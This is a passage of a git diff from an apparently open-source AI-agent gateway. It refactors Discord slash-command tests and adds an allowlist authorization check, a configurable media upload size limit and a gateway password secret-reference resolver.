ResolveConfiguredAcpBindingRecordFn = @@ -29,52 +33,22 @@ vi.mock("../../acp/persistent-bindings.js", async (importOriginal) => { }; }); -type MockCommandInteraction = { - user: { id: string; username: string; globalName: string }; - channel: { type: ChannelType; id: string }; - guild: { id: string; name?: string } | null; - rawData: { id: string; member: { roles: string[] } }; - options: { - getString: ReturnType; - getNumber: ReturnType; - getBoolean: ReturnType; - }; - reply: ReturnType; - followUp: ReturnType; - client: object; -}; - function createInteraction(params?: { channelType?: ChannelType; channelId?: string; guildId?: string; guildName?: string; }): MockCommandInteraction { - const guild = params?.guildId ? { id: params.guildId, name: params.guildName } : null; - return { - user: { - id: "owner", - username: "tester", - globalName: "Tester", - }, - channel: { - type: params?.channelType ?? ChannelType.DM, - id: params?.channelId ?? "dm-1", - }, - guild, - rawData: { - id: "interaction-1", - member: { roles: [] }, - }, - options: { - getString: vi.fn().mockReturnValue(null), - getNumber: vi.fn().mockReturnValue(null), - getBoolean: vi.fn().mockReturnValue(null), - }, - reply: vi.fn().mockResolvedValue({ ok: true }), - followUp: vi.fn().mockResolvedValue({ ok: true }), - client: {}, - }; + return createMockCommandInteraction({ + userId: "owner", + username: "tester", + globalName: "Tester", + channelType: params?.channelType ?? ChannelType.DM, + channelId: params?.channelId ?? "dm-1", + guildId: params?.guildId ?? null, + guildName: params?.guildName, + interactionId: "interaction-1", + }); } function createConfig(): OpenClawConfig { @@ -87,6 +61,75 @@ function createConfig(): OpenClawConfig { } as OpenClawConfig; } +function createStatusCommand(cfg: OpenClawConfig) { + const commandSpec: NativeCommandSpec = { + name: "status", + description: "Status", + acceptsArgs: false, + }; + return createDiscordNativeCommand({ + command: commandSpec, + cfg, + discordConfig: cfg.channels?.discord ?? {}, + accountId: "default", + sessionPrefix: "discord:slash", + ephemeralDefault: true, + threadBindings: createNoopThreadBindingManager("default"), + }); +} + +function setConfiguredBinding(channelId: string, boundSessionKey: string) { + persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ + spec: { + channel: "discord", + accountId: "default", + conversationId: channelId, + agentId: "codex", + mode: "persistent", + }, + record: { + bindingId: `config:acp:discord:default:${channelId}`, + targetSessionKey: boundSessionKey, + targetKind: "session", + conversation: { + channel: "discord", + accountId: "default", + conversationId: channelId, + }, + status: "active", + boundAt: 0, + }, + }); + persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ + ok: true, + sessionKey: boundSessionKey, + }); +} + +function createDispatchSpy() { + return vi.spyOn(dispatcherModule, "dispatchReplyWithDispatcher").mockResolvedValue({ + counts: { + final: 1, + block: 0, + tool: 0, + }, + } as never); +} + +function expectBoundSessionDispatch( + dispatchSpy: ReturnType, + boundSessionKey: string, +) { + expect(dispatchSpy).toHaveBeenCalledTimes(1); + const dispatchCall = dispatchSpy.mock.calls[0]?.[0] as { + ctx?: { SessionKey?: string; CommandTargetSessionKey?: string }; + }; + expect(dispatchCall.ctx?.SessionKey).toBe(boundSessionKey); + expect(dispatchCall.ctx?.CommandTargetSessionKey).toBe(boundSessionKey); + expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).toHaveBeenCalledTimes(1); + expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).toHaveBeenCalledTimes(1); +} + describe("Discord native plugin command dispatch", () => { beforeEach(() => { vi.restoreAllMocks(); @@ -169,20 +212,7 @@ describe("Discord native plugin command dispatch", () => { }, ], } as OpenClawConfig; - const commandSpec: NativeCommandSpec = { - name: "status", - description: "Status", - acceptsArgs: false, - }; - const command = createDiscordNativeCommand({ - command: commandSpec, - cfg, - discordConfig: cfg.channels?.discord ?? {}, - accountId: "default", - sessionPrefix: "discord:slash", - ephemeralDefault: true, - threadBindings: createNoopThreadBindingManager("default"), - }); + const command = createStatusCommand(cfg); const interaction = createInteraction({ channelType: ChannelType.GuildText, channelId, @@ -190,53 +220,14 @@ describe("Discord native plugin command dispatch", () => { guildName: "Ops", }); - persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ - spec: { - channel: "discord", - accountId: "default", - conversationId: channelId, - agentId: "codex", - mode: "persistent", - }, - record: { - bindingId: "config:acp:discord:default:1478836151241412759", - targetSessionKey: boundSessionKey, - targetKind: "session", - conversation: { - channel: "discord", - accountId: "default", - conversationId: channelId, - }, - status: "active", - boundAt: 0, - }, - }); - persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ - ok: true, - sessionKey: boundSessionKey, - }); + setConfiguredBinding(channelId, boundSessionKey); vi.spyOn(pluginCommandsModule, "matchPluginCommand").mockReturnValue(null); - const dispatchSpy = vi - .spyOn(dispatcherModule, "dispatchReplyWithDispatcher") - .mockResolvedValue({ - counts: { - final: 1, - block: 0, - tool: 0, - }, - } as never); + const dispatchSpy = createDispatchSpy(); await (command as { run: (interaction: unknown) => Promise }).run(interaction as unknown); - expect(dispatchSpy).toHaveBeenCalledTimes(1); - const dispatchCall = dispatchSpy.mock.calls[0]?.[0] as { - ctx?: { SessionKey?: string; CommandTargetSessionKey?: string }; - }; - expect(dispatchCall.ctx?.SessionKey).toBe(boundSessionKey); - expect(dispatchCall.ctx?.CommandTargetSessionKey).toBe(boundSessionKey); - expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).toHaveBeenCalledTimes(1); - expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).toHaveBeenCalledTimes(1); + expectBoundSessionDispatch(dispatchSpy, boundSessionKey); }); it("routes Discord DM native slash commands through configured ACP bindings", async () => { @@ -266,71 +257,19 @@ describe("Discord native plugin command dispatch", () => { }, }, } as OpenClawConfig; - const commandSpec: NativeCommandSpec = { - name: "status", - description: "Status", - acceptsArgs: false, - }; - const command = createDiscordNativeCommand({ - command: commandSpec, - cfg, - discordConfig: cfg.channels?.discord ?? {}, - accountId: "default", - sessionPrefix: "discord:slash", - ephemeralDefault: true, - threadBindings: createNoopThreadBindingManager("default"), - }); + const command = createStatusCommand(cfg); const interaction = createInteraction({ channelType: ChannelType.DM, channelId, }); - persistentBindingMocks.resolveConfiguredAcpBindingRecord.mockReturnValue({ - spec: { - channel: "discord", - accountId: "default", - conversationId: channelId, - agentId: "codex", - mode: "persistent", - }, - record: { - bindingId: "config:acp:discord:default:dm-1", - targetSessionKey: boundSessionKey, - targetKind: "session", - conversation: { - channel: "discord", - accountId: "default", - conversationId: channelId, - }, - status: "active", - boundAt: 0, - }, - }); - persistentBindingMocks.ensureConfiguredAcpBindingSession.mockResolvedValue({ - ok: true, - sessionKey: boundSessionKey, - }); + setConfiguredBinding(channelId, boundSessionKey); vi.spyOn(pluginCommandsModule, "matchPluginCommand").mockReturnValue(null); - const dispatchSpy = vi - .spyOn(dispatcherModule, "dispatchReplyWithDispatcher") - .mockResolvedValue({ - counts: { - final: 1, - block: 0, - tool: 0, - }, - } as never); + const dispatchSpy = createDispatchSpy(); await (command as { run: (interaction: unknown) => Promise }).run(interaction as unknown); - expect(dispatchSpy).toHaveBeenCalledTimes(1); - const dispatchCall = dispatchSpy.mock.calls[0]?.[0] as { - ctx?: { SessionKey?: string; CommandTargetSessionKey?: string }; - }; - expect(dispatchCall.ctx?.SessionKey).toBe(boundSessionKey); - expect(dispatchCall.ctx?.CommandTargetSessionKey).toBe(boundSessionKey); - expect(persistentBindingMocks.resolveConfiguredAcpBindingRecord).toHaveBeenCalledTimes(1); - expect(persistentBindingMocks.ensureConfiguredAcpBindingSession).toHaveBeenCalledTimes(1); + expectBoundSessionDispatch(dispatchSpy, boundSessionKey); }); }); diff --git a/src/discord/monitor/native-command.test-helpers.ts b/src/discord/monitor/native-command.test-helpers.ts new file mode 100644 index 00000000000..fe6ab6e1252 --- /dev/null +++ b/src/discord/monitor/native-command.test-helpers.ts @@ -0,0 +1,60 @@ +import { ChannelType } from "discord-api-types/v10"; +import { vi } from "vitest"; + +export type MockCommandInteraction = { + user: { id: string; username: string; globalName: string }; + channel: { type: ChannelType; id: string }; + guild: { id: string; name?: string } | null; + rawData: { id: string; member: { roles: string[] } }; + options: { + getString: ReturnType; + getNumber: ReturnType; + getBoolean: ReturnType; + }; + reply: ReturnType; + followUp: ReturnType; + client: object; +}; + +type CreateMockCommandInteractionParams = { + userId?: string; + username?: string; + globalName?: string; + channelType?: ChannelType; + channelId?: string; + guildId?: string | null; + guildName?: string; + interactionId?: string; +}; + +export function createMockCommandInteraction( + params: CreateMockCommandInteractionParams = {}, +): MockCommandInteraction { + const guildId = params.guildId; + const guild = + guildId === null || guildId === undefined ? null : { id: guildId, name: params.guildName }; + return { + user: { + id: params.userId ?? "owner", + username: params.username ?? "tester", + globalName: params.globalName ?? "Tester", + }, + channel: { + type: params.channelType ?? ChannelType.DM, + id: params.channelId ?? "dm-1", + }, + guild, + rawData: { + id: params.interactionId ?? "interaction-1", + member: { roles: [] }, + }, + options: { + getString: vi.fn().mockReturnValue(null), + getNumber: vi.fn().mockReturnValue(null), + getBoolean: vi.fn().mockReturnValue(null), + }, + reply: vi.fn().mockResolvedValue({ ok: true }), + followUp: vi.fn().mockResolvedValue({ ok: true }), + client: {}, + }; +} diff --git a/src/discord/monitor/native-command.ts b/src/discord/monitor/native-command.ts index 652e6f21214..1ac9d582a86 100644 --- a/src/discord/monitor/native-command.ts +++ b/src/discord/monitor/native-command.ts @@ -20,6 +20,7 @@ import { } from "../../acp/persistent-bindings.route.js"; import { resolveHumanDelayConfig } from "../../agents/identity.js"; import { resolveChunkMode, resolveTextChunkLimit } from "../../auto-reply/chunk.js"; +import { resolveCommandAuthorization } from "../../auto-reply/command-auth.js"; import type { ChatCommandDefinition, CommandArgDefinition, @@ -92,6 +93,46 @@ import { resolveDiscordThreadParentInfo } from "./threading.js"; type DiscordConfig = NonNullable["discord"]; const log = createSubsystemLogger("discord/native-command"); +function resolveDiscordNativeCommandAllowlistAccess(params: { + cfg: OpenClawConfig; + accountId?: string | null; + sender: { id: string; name?: string; tag?: string }; + chatType: "direct" | "group" | "thread" | "channel"; + conversationId?: string; +}) { + const commandsAllowFrom = params.cfg.commands?.allowFrom; + if (!commandsAllowFrom || typeof commandsAllowFrom !== "object") { + return { configured: false, allowed: false } as const; + } + const configured = + Array.isArray(commandsAllowFrom.discord) || Array.isArray(commandsAllowFrom["*"]); + if (!configured) { + return { configured: false, allowed: false } as const; + } + + const from = + params.chatType === "direct" + ? `discord:${params.sender.id}` + : `discord:${params.chatType}:${params.conversationId ?? "unknown"}`; + const auth = resolveCommandAuthorization({ + ctx: { + Provider: "discord", + Surface: "discord", + OriginatingChannel: "discord", + AccountId: params.accountId ?? undefined, + ChatType: params.chatType, + From: from, + SenderId: params.sender.id, + SenderUsername: params.sender.name, + SenderTag: params.sender.tag, + }, + cfg: params.cfg, + // We only want explicit commands.allowFrom authorization here. + commandAuthorized: false, + }); + return { configured: true, allowed: auth.isAuthorizedSender } as const; +} + function buildDiscordCommandOptions(params: { command: ChatCommandDefinition; cfg: ReturnType; @@ -476,13 +517,13 @@ async function replyWithDiscordModelPickerProviders(params: { threadBindings: ThreadBindingManager; preferFollowUp: boolean; }) { - const data = await loadDiscordModelPickerData(params.cfg); const route = await resolveDiscordModelPickerRoute({ interaction: params.interaction, cfg: params.cfg, accountId: params.accountId, threadBindings: params.threadBindings, }); + const data = await loadDiscordModelPickerData(params.cfg, route.agentId); const currentModel = resolveDiscordModelPickerCurrentModel({ cfg: params.cfg, route, @@ -637,13 +678,13 @@ async function handleDiscordModelPickerInteraction( return; } - const pickerData = await loadDiscordModelPickerData(ctx.cfg); const route = await resolveDiscordModelPickerRoute({ interaction, cfg: ctx.cfg, accountId: ctx.accountId, threadBindings: ctx.threadBindings, }); + const pickerData = await loadDiscordModelPickerData(ctx.cfg, route.agentId); const currentModelRef = resolveDiscordModelPickerCurrentModel({ cfg: ctx.cfg, route, @@ -896,6 +937,11 @@ async function handleDiscordModelPickerInteraction( return; } + // The session store write happens asynchronously after the command dispatch + // completes. Give it a short window to flush before reading back the persisted + // value, otherwise the check races the write and reports a false mismatch. + await new Promise((resolve) => setTimeout(resolve, 250)); + const effectiveModelRef = resolveDiscordModelPickerCurrentModel({ cfg: ctx.cfg, route, @@ -1297,6 +1343,23 @@ async function dispatchDiscordCommandInteraction(params: { }, allowNameMatching, }); + const commandsAllowFromAccess = resolveDiscordNativeCommandAllowlistAccess({ + cfg, + accountId, + sender: { + id: sender.id, + name: sender.name, + tag: sender.tag, + }, + chatType: isDirectMessage + ? "direct" + : isThreadChannel + ? "thread" + : interaction.guild + ? "channel" + : "group", + conversationId: rawChannelId || undefined, + }); const guildInfo = resolveDiscordGuildEntry({ guild: interaction.guild ?? undefined, guildEntries: discordConfig?.guilds, @@ -1418,10 +1481,20 @@ async function dispatchDiscordCommandInteraction(params: { }); const authorizers = useAccessGroups ? [ + { + configured: commandsAllowFromAccess.configured, + allowed: commandsAllowFromAccess.allowed, + }, { configured: ownerAllowList != null, allowed: ownerOk }, { configured: hasAccessRestrictions, allowed: memberAllowed }, ] - : [{ configured: hasAccessRestrictions, allowed: memberAllowed }]; + : [ + { + configured: commandsAllowFromAccess.configured, + allowed: commandsAllowFromAccess.allowed, + }, + { configured: hasAccessRestrictions, allowed: memberAllowed }, + ]; commandAuthorized = resolveCommandAuthorizedFromAuthorizers({ useAccessGroups, authorizers, diff --git a/src/discord/monitor/provider.lifecycle.ts b/src/discord/monitor/provider.lifecycle.ts index 6291d09a7b2..ffc78b40676 100644 --- a/src/discord/monitor/provider.lifecycle.ts +++ b/src/discord/monitor/provider.lifecycle.ts @@ -1,6 +1,7 @@ import type { Client } from "@buape/carbon"; import type { GatewayPlugin } from "@buape/carbon/gateway"; import { createArmableStallWatchdog } from "../../channels/transport/stall-watchdog.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { danger } from "../../globals.js"; import type { RuntimeEnv } from "../../runtime.js"; import { attachDiscordGatewayLogging } from "../gateway-logging.js"; @@ -180,8 +181,7 @@ export async function runDiscordGatewayLifecycle(params: { let sawConnected = gateway?.isConnected === true; if (sawConnected) { pushStatus({ - connected: true, - lastConnectedAt: at, + ...createConnectedChannelStatusPatch(at), lastDisconnect: null, }); } @@ -194,9 +194,7 @@ export async function runDiscordGatewayLifecycle(params: { const connectedAt = Date.now(); reconnectStallWatchdog.disarm(); pushStatus({ - connected: true, - lastEventAt: connectedAt, - lastConnectedAt: connectedAt, + ...createConnectedChannelStatusPatch(connectedAt), lastDisconnect: null, }); if (helloConnectedPollId) { @@ -253,9 +251,7 @@ export async function runDiscordGatewayLifecycle(params: { if (gateway?.isConnected && !lifecycleStopping) { const at = Date.now(); pushStatus({ - connected: true, - lastEventAt: at, - lastConnectedAt: at, + ...createConnectedChannelStatusPatch(at), lastDisconnect: null, }); } diff --git a/src/discord/monitor/provider.ts b/src/discord/monitor/provider.ts index fc24e6af1f5..c9f9f3d4b49 100644 --- a/src/discord/monitor/provider.ts +++ b/src/discord/monitor/provider.ts @@ -36,6 +36,7 @@ import { resolveDefaultGroupPolicy, warnMissingProviderGroupPolicyFallbackOnce, } from "../../config/runtime-group-policy.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { danger, logVerbose, shouldLogVerbose, warn } from "../../globals.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { createDiscordRetryRunner } from "../../infra/retry-policy.js"; @@ -752,7 +753,7 @@ export async function monitorDiscordProvider(opts: MonitorDiscordOpts = {}) { botUserId && botUserName ? `${botUserId} (${botUserName})` : (botUserId ?? botUserName ?? ""); runtime.log?.(`logged in to discord${botIdentity ? ` as ${botIdentity}` : ""}`); if (lifecycleGateway?.isConnected) { - opts.setStatus?.({ connected: true }); + opts.setStatus?.(createConnectedChannelStatusPatch()); } lifecycleStarted = true; diff --git a/src/discord/resolve-channels.test.ts b/src/discord/resolve-channels.test.ts index 191156b7d97..70fa4f74aa3 100644 --- a/src/discord/resolve-channels.test.ts +++ b/src/discord/resolve-channels.test.ts @@ -4,9 +4,11 @@ import { resolveDiscordChannelAllowlist } from "./resolve-channels.js"; import { jsonResponse, urlToString } from "./test-http-helpers.js"; describe("resolveDiscordChannelAllowlist", () => { + type DiscordChannel = { id: string; name: string; guild_id: string; type: number }; + async function resolveWithChannelLookup(params: { guilds: Array<{ id: string; name: string }>; - channel: { id: string; name: string; guild_id: string; type: number }; + channel: DiscordChannel; entry: string; }) { const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { @@ -26,6 +28,44 @@ describe("resolveDiscordChannelAllowlist", () => { }); } + async function resolveGuild111Entry2024(params: { + channelLookup: () => Response; + guildChannels?: DiscordChannel[]; + }) { + const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { + const url = urlToString(input); + if (url.endsWith("/users/@me/guilds")) { + return jsonResponse([{ id: "111", name: "Test Server" }]); + } + if (url.endsWith("/channels/2024")) { + return params.channelLookup(); + } + if (url.endsWith("/guilds/111/channels")) { + return jsonResponse( + params.guildChannels ?? [ + { id: "c1", name: "2024", guild_id: "111", type: 0 }, + { id: "c2", name: "general", guild_id: "111", type: 0 }, + ], + ); + } + return new Response("not found", { status: 404 }); + }); + + return resolveDiscordChannelAllowlist({ + token: "test", + entries: ["111/2024"], + fetcher, + }); + } + + function expectUnresolved1112024( + res: Awaited>, + ) { + expect(res[0]?.resolved).toBe(false); + expect(res[0]?.channelId).toBe("2024"); + expect(res[0]?.guildId).toBe("111"); + } + it("resolves guild/channel by name", async () => { const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { const url = urlToString(input); @@ -210,27 +250,8 @@ describe("resolveDiscordChannelAllowlist", () => { }); it("falls back to name matching when numeric channel name is not a valid ID", async () => { - const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { - const url = urlToString(input); - if (url.endsWith("/users/@me/guilds")) { - return jsonResponse([{ id: "111", name: "Test Server" }]); - } - if (url.endsWith("/channels/2024")) { - return new Response("not found", { status: 404 }); - } - if (url.endsWith("/guilds/111/channels")) { - return jsonResponse([ - { id: "c1", name: "2024", guild_id: "111", type: 0 }, - { id: "c2", name: "general", guild_id: "111", type: 0 }, - ]); - } - return new Response("not found", { status: 404 }); - }); - - const res = await resolveDiscordChannelAllowlist({ - token: "test", - entries: ["111/2024"], - fetcher, + const res = await resolveGuild111Entry2024({ + channelLookup: () => new Response("not found", { status: 404 }), }); expect(res[0]?.resolved).toBe(true); @@ -240,58 +261,20 @@ describe("resolveDiscordChannelAllowlist", () => { }); it("does not fall back to name matching when channel lookup returns 403", async () => { - const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { - const url = urlToString(input); - if (url.endsWith("/users/@me/guilds")) { - return jsonResponse([{ id: "111", name: "Test Server" }]); - } - if (url.endsWith("/channels/2024")) { - return new Response("Missing Access", { status: 403 }); - } - if (url.endsWith("/guilds/111/channels")) { - return jsonResponse([ - { id: "c1", name: "2024", guild_id: "111", type: 0 }, - { id: "c2", name: "general", guild_id: "111", type: 0 }, - ]); - } - return new Response("not found", { status: 404 }); + const res = await resolveGuild111Entry2024({ + channelLookup: () => new Response("Missing Access", { status: 403 }), }); - const res = await resolveDiscordChannelAllowlist({ - token: "test", - entries: ["111/2024"], - fetcher, - }); - - expect(res[0]?.resolved).toBe(false); - expect(res[0]?.channelId).toBe("2024"); - expect(res[0]?.guildId).toBe("111"); + expectUnresolved1112024(res); }); it("does not fall back to name matching when channel payload is malformed", async () => { - const fetcher = withFetchPreconnect(async (input: RequestInfo | URL) => { - const url = urlToString(input); - if (url.endsWith("/users/@me/guilds")) { - return jsonResponse([{ id: "111", name: "Test Server" }]); - } - if (url.endsWith("/channels/2024")) { - return jsonResponse({ id: "2024", name: "unknown", type: 0 }); - } - if (url.endsWith("/guilds/111/channels")) { - return jsonResponse([{ id: "c1", name: "2024", guild_id: "111", type: 0 }]); - } - return new Response("not found", { status: 404 }); + const res = await resolveGuild111Entry2024({ + channelLookup: () => jsonResponse({ id: "2024", name: "unknown", type: 0 }), + guildChannels: [{ id: "c1", name: "2024", guild_id: "111", type: 0 }], }); - const res = await resolveDiscordChannelAllowlist({ - token: "test", - entries: ["111/2024"], - fetcher, - }); - - expect(res[0]?.resolved).toBe(false); - expect(res[0]?.channelId).toBe("2024"); - expect(res[0]?.guildId).toBe("111"); + expectUnresolved1112024(res); }); it("resolves guild: prefixed id as guild (not channel)", async () => { diff --git a/src/discord/send.outbound.ts b/src/discord/send.outbound.ts index 533d4060ed5..8234291e7ed 100644 --- a/src/discord/send.outbound.ts +++ b/src/discord/send.outbound.ts @@ -145,6 +145,10 @@ export async function sendMessageDiscord( accountId: accountInfo.accountId, }); const chunkMode = resolveChunkMode(cfg, "discord", accountInfo.accountId); + const mediaMaxBytes = + typeof accountInfo.config.mediaMaxMb === "number" + ? accountInfo.config.mediaMaxMb * 1024 * 1024 + : 8 * 1024 * 1024; const textWithTables = convertMarkdownTables(text ?? "", tableMode); const textWithMentions = rewriteDiscordKnownMentions(textWithTables, { accountId: accountInfo.accountId, @@ -211,6 +215,7 @@ export async function sendMessageDiscord( mediaCaption ?? "", opts.mediaUrl, opts.mediaLocalRoots, + mediaMaxBytes, undefined, request, accountInfo.config.maxLinesPerMessage, @@ -271,6 +276,7 @@ export async function sendMessageDiscord( textWithMentions, opts.mediaUrl, opts.mediaLocalRoots, + mediaMaxBytes, opts.replyTo, request, accountInfo.config.maxLinesPerMessage, diff --git a/src/discord/send.sends-basic-channel-messages.test.ts b/src/discord/send.sends-basic-channel-messages.test.ts index 6241fce7996..58b8e3799b7 100644 --- a/src/discord/send.sends-basic-channel-messages.test.ts +++ b/src/discord/send.sends-basic-channel-messages.test.ts @@ -1,5 +1,6 @@ import { ChannelType, PermissionFlagsBits, Routes } from "discord-api-types/v10"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { loadWebMedia } from "../web/media.js"; import { __resetDiscordDirectoryCacheForTest, rememberDiscordDirectoryUser, @@ -265,6 +266,33 @@ describe("sendMessageDiscord", () => { }), }), ); + expect(loadWebMedia).toHaveBeenCalledWith( + "file:///tmp/photo.jpg", + expect.objectContaining({ maxBytes: 8 * 1024 * 1024 }), + ); + }); + + it("uses configured discord mediaMaxMb for uploads", async () => { + const { rest, postMock } = makeDiscordRest(); + postMock.mockResolvedValue({ id: "msg", channel_id: "789" }); + + await sendMessageDiscord("channel:789", "photo", { + rest, + token: "t", + mediaUrl: "file:///tmp/photo.jpg", + cfg: { + channels: { + discord: { + mediaMaxMb: 32, + }, + }, + }, + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "file:///tmp/photo.jpg", + expect.objectContaining({ maxBytes: 32 * 1024 * 1024 }), + ); }); it("sends media with empty text without content field", async () => { diff --git a/src/discord/send.shared.ts b/src/discord/send.shared.ts index fddc276fccf..a90f0ffe01f 100644 --- a/src/discord/send.shared.ts +++ b/src/discord/send.shared.ts @@ -415,6 +415,7 @@ async function sendDiscordMedia( text: string, mediaUrl: string, mediaLocalRoots: readonly string[] | undefined, + maxBytes: number | undefined, replyTo: string | undefined, request: DiscordRequest, maxLinesPerMessage?: number, @@ -423,7 +424,10 @@ async function sendDiscordMedia( chunkMode?: ChunkMode, silent?: boolean, ) { - const media = await loadWebMedia(mediaUrl, buildOutboundMediaLoadOptions({ mediaLocalRoots })); + const media = await loadWebMedia( + mediaUrl, + buildOutboundMediaLoadOptions({ maxBytes, mediaLocalRoots }), + ); const chunks = text ? buildDiscordTextChunks(text, { maxLinesPerMessage, chunkMode }) : []; const caption = chunks[0] ?? ""; const messageReference = replyTo ? { message_id: replyTo, fail_if_not_exists: false } : undefined; diff --git a/src/discord/voice/manager.e2e.test.ts b/src/discord/voice/manager.e2e.test.ts index 3031b3d98cd..ff1aca6ca25 100644 --- a/src/discord/voice/manager.e2e.test.ts +++ b/src/discord/voice/manager.e2e.test.ts @@ -199,6 +199,30 @@ describe("DiscordVoiceManager", () => { ); }; + type ProcessSegmentInvoker = { + processSegment: (params: { + entry: unknown; + wavPath: string; + userId: string; + durationSeconds: number; + }) => Promise; + }; + + const processVoiceSegment = async ( + manager: InstanceType, + userId: string, + ) => + await (manager as unknown as ProcessSegmentInvoker).processSegment({ + entry: { + guildId: "g1", + channelId: "c1", + route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, + }, + wavPath: "/tmp/test.wav", + userId, + durationSeconds: 1.2, + }); + it("keeps the new session when an old disconnected handler fires", async () => { const oldConnection = createConnectionMock(); const newConnection = createConnectionMock(); @@ -298,25 +322,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-owner"] }, client); - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-owner", - durationSeconds: 1.2, - }); + await processVoiceSegment(manager, "u-owner"); const commandArgs = agentCommandMock.mock.calls.at(-1)?.[0] as | { senderIsOwner?: boolean } @@ -336,25 +342,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-owner"] }, client); - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-guest", - durationSeconds: 1.2, - }); + await processVoiceSegment(manager, "u-guest"); const commandArgs = agentCommandMock.mock.calls.at(-1)?.[0] as | { senderIsOwner?: boolean } @@ -374,26 +362,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-cache"] }, client); - const runSegment = async () => - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-cache", - durationSeconds: 1.2, - }); + const runSegment = async () => await processVoiceSegment(manager, "u-cache"); await runSegment(); await runSegment(); diff --git a/src/docker-image-digests.test.ts b/src/docker-image-digests.test.ts index ab721e5abe7..d62a46434e1 100644 --- a/src/docker-image-digests.test.ts +++ b/src/docker-image-digests.test.ts @@ -42,7 +42,7 @@ describe("docker base image pinning", () => { .find((line) => line.trimStart().startsWith("FROM ")); expect(fromLine, `${dockerfilePath} should define a FROM line`).toBeDefined(); expect(fromLine, `${dockerfilePath} FROM must be digest-pinned`).toMatch( - /^FROM\s+\S+@sha256:[a-f0-9]{64}$/, + /^FROM\s+\S+@sha256:[a-f0-9]{64}(?:\s+AS\s+\S+)?$/, ); } }); diff --git a/src/docker-setup.e2e.test.ts b/src/docker-setup.e2e.test.ts index df2848f0f67..813cc62edce 100644 --- a/src/docker-setup.e2e.test.ts +++ b/src/docker-setup.e2e.test.ts @@ -175,7 +175,7 @@ describe("docker-setup.sh", () => { const envFile = await readFile(join(activeSandbox.rootDir, ".env"), "utf8"); expect(envFile).toContain("OPENCLAW_DOCKER_APT_PACKAGES=ffmpeg build-essential"); expect(envFile).toContain("OPENCLAW_EXTRA_MOUNTS="); - expect(envFile).toContain("OPENCLAW_HOME_VOLUME=openclaw-home"); + expect(envFile).toContain("OPENCLAW_HOME_VOLUME=openclaw-home"); // pragma: allowlist secret const extraCompose = await readFile( join(activeSandbox.rootDir, "docker-compose.extra.yml"), "utf8", @@ -247,7 +247,7 @@ describe("docker-setup.sh", () => { expect(result.status).toBe(0); const envFile = await readFile(join(activeSandbox.rootDir, ".env"), "utf8"); - expect(envFile).toContain("OPENCLAW_GATEWAY_TOKEN=config-token-123"); + expect(envFile).toContain("OPENCLAW_GATEWAY_TOKEN=config-token-123"); // pragma: allowlist secret }); it("treats OPENCLAW_SANDBOX=0 as disabled", async () => { diff --git a/src/gateway/auth-config-utils.ts b/src/gateway/auth-config-utils.ts new file mode 100644 index 00000000000..f62e60f85ea --- /dev/null +++ b/src/gateway/auth-config-utils.ts @@ -0,0 +1,69 @@ +import type { GatewayAuthConfig, OpenClawConfig } from "../config/config.js"; +import { resolveSecretInputRef } from "../config/types.secrets.js"; +import { secretRefKey } from "../secrets/ref-contract.js"; +import { resolveSecretRefValues } from "../secrets/resolve.js"; + +export function withGatewayAuthPassword(cfg: OpenClawConfig, password: string): OpenClawConfig { + return { + ...cfg, + gateway: { + ...cfg.gateway, + auth: { + ...cfg.gateway?.auth, + password, + }, + }, + }; +} + +function shouldResolveGatewayPasswordSecretRef(params: { + mode?: GatewayAuthConfig["mode"]; + hasPasswordCandidate: boolean; + hasTokenCandidate: boolean; +}): boolean { + if (params.hasPasswordCandidate) { + return false; + } + if (params.mode === "password") { + return true; + } + if (params.mode === "token" || params.mode === "none" || params.mode === "trusted-proxy") { + return false; + } + return !params.hasTokenCandidate; +} + +export async function resolveGatewayPasswordSecretRef(params: { + cfg: OpenClawConfig; + env: NodeJS.ProcessEnv; + mode?: GatewayAuthConfig["mode"]; + hasPasswordCandidate: boolean; + hasTokenCandidate: boolean; +}): Promise { + const authPassword = params.cfg.gateway?.auth?.password; + const { ref } = resolveSecretInputRef({ + value: authPassword, + defaults: params.cfg.secrets?.defaults, + }); + if (!ref) { + return params.cfg; + } + if ( + !shouldResolveGatewayPasswordSecretRef({ + mode: params.mode, + hasPasswordCandidate: params.hasPasswordCandidate, + hasTokenCandidate: params.hasTokenCandidate, + }) + ) { + return params.cfg; + } + const resolved = await resolveSecretRefValues([ref], { + config: params.cfg, + env: params.env, + }); + const value = resolved.get(secretRefKey(ref)); + 